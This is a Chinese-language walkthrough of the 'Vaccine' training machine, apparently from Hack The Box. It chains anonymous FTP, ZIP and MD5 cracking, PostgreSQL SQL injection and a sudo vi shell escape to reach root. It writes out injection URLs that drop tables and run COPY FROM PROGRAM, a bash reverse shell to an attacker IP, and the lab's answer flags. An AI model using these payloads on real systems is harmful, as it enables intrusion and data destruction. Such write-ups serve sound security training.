[StartingPoint][Tier2]Vaccine
字数 1005 2025-08-19 12:42:38

渗透测试实战:从FTP匿名访问到Root提权

1. 信息收集与初始访问

1.1 端口扫描与服务识别

使用nmap进行快速扫描,识别开放端口和服务:

nmap -sS -T4 10.129.230.43 --min-rate 1000

发现服务:

  • SSH (通常为22端口)
  • HTTP (通常为80端口)
  • FTP (21端口)

1.2 FTP匿名访问

FTP服务允许匿名登录,使用以下凭证:

  • 用户名:anonymous
  • 密码:任意(可留空)

连接FTP并下载文件:

ftp 10.129.230.43
Name: anonymous
Password: [回车]
> ls
> get backup.zip

2. 密码破解与网站访问

2.1 破解ZIP密码

使用John the Ripper工具集中的zip2john生成哈希:

zip2john backup.zip > hashes

创建自定义字典文件wordlist.txt

admin
admin123
password
password123
741852963
741852962

使用John进行破解:

john --wordlist=./wordlist.txt hashes

或者使用hashcat:

echo 2cb42f8734ea607eefed3b70af13bbd3 > hash
hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt

破解结果:qwerty789

2.2 登录网站后台

使用破解的密码qwerty789和可能的用户名组合(如admin)登录网站后台。

3. SQL注入与命令执行

3.1 发现SQL注入点

在网站搜索功能中发现SQL注入漏洞。

3.2 使用sqlmap进行利用

获取交互式shell:

sqlmap --os-shell

或者手动构造注入payload:

  1. 删除现有表(如果存在):
http://10.129.95.174/dashboard.php?search=a';DROP TABLE IF EXISTS res; -- -
  1. 创建新表存储命令输出:
http://10.129.95.174/dashboard.php?search=a';CREATE TABLE res(cmd_output text); -- -
  1. 执行系统命令并存储结果(注意URL编码):
http://10.129.95.174/dashboard.php?search=a';COPY res FROM PROGRAM 'bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.6%2F10032%200%3E%261%22'; -- -

3.3 获取反向shell

通过SQL注入执行反向shell命令,连接到攻击者机器:

bash -c "bash -i >& /dev/tcp/10.10.16.6/10032 0>&1"

4. 权限提升

4.1 查看网站配置文件

cat /var/www/html/dashboard.php

获取数据库凭据,用于SSH登录。

4.2 检查sudo权限

sudo -l

输出显示postgres用户可以以root权限运行/bin/vi编辑/etc/postgresql/11/main/pg_hba.conf文件。

4.3 利用vi提权

方法一:直接执行shell

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:!/bin/sh

方法二:设置shell后执行

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:set shell=/bin/bash
:shell

5. 获取flag

5.1 用户flag

cat user.txt

ec9b13ca4d6229cd5cc1e09980965bf7

5.2 root flag

cat /root/root.txt

dd6e058e814260bc70e9bbdef2715849

总结:完整攻击路径

  1. FTP匿名访问 → 下载网站源码备份(backup.zip)
  2. 使用zip2john爆破ZIP密码(qwerty789)
  3. 分析泄露源码 → 发现网站后台登录
  4. 利用SQL注入获取命令执行能力
  5. 通过dashboard.php泄露的凭据SSH登录
  6. sudo -l发现postgres用户可root运行/bin/vi
  7. 利用vi编辑器功能提权到root
渗透测试实战:从FTP匿名访问到Root提权 1. 信息收集与初始访问 1.1 端口扫描与服务识别 使用nmap进行快速扫描,识别开放端口和服务: 发现服务: SSH (通常为22端口) HTTP (通常为80端口) FTP (21端口) 1.2 FTP匿名访问 FTP服务允许匿名登录,使用以下凭证: 用户名: anonymous 密码:任意(可留空) 连接FTP并下载文件: 2. 密码破解与网站访问 2.1 破解ZIP密码 使用John the Ripper工具集中的 zip2john 生成哈希: 创建自定义字典文件 wordlist.txt : 使用John进行破解: 或者使用hashcat: 破解结果: qwerty789 2.2 登录网站后台 使用破解的密码 qwerty789 和可能的用户名组合(如admin)登录网站后台。 3. SQL注入与命令执行 3.1 发现SQL注入点 在网站搜索功能中发现SQL注入漏洞。 3.2 使用sqlmap进行利用 获取交互式shell: 或者手动构造注入payload: 删除现有表(如果存在): 创建新表存储命令输出: 执行系统命令并存储结果(注意URL编码): 3.3 获取反向shell 通过SQL注入执行反向shell命令,连接到攻击者机器: 4. 权限提升 4.1 查看网站配置文件 获取数据库凭据,用于SSH登录。 4.2 检查sudo权限 输出显示postgres用户可以以root权限运行 /bin/vi 编辑 /etc/postgresql/11/main/pg_hba.conf 文件。 4.3 利用vi提权 方法一:直接执行shell 方法二:设置shell后执行 5. 获取flag 5.1 用户flag ec9b13ca4d6229cd5cc1e09980965bf7 5.2 root flag dd6e058e814260bc70e9bbdef2715849 总结:完整攻击路径 FTP匿名访问 → 下载网站源码备份(backup.zip) 使用zip2john爆破ZIP密码(qwerty789) 分析泄露源码 → 发现网站后台登录 利用SQL注入获取命令执行能力 通过dashboard.php泄露的凭据SSH登录 sudo -l发现postgres用户可root运行/bin/vi 利用vi编辑器功能提权到root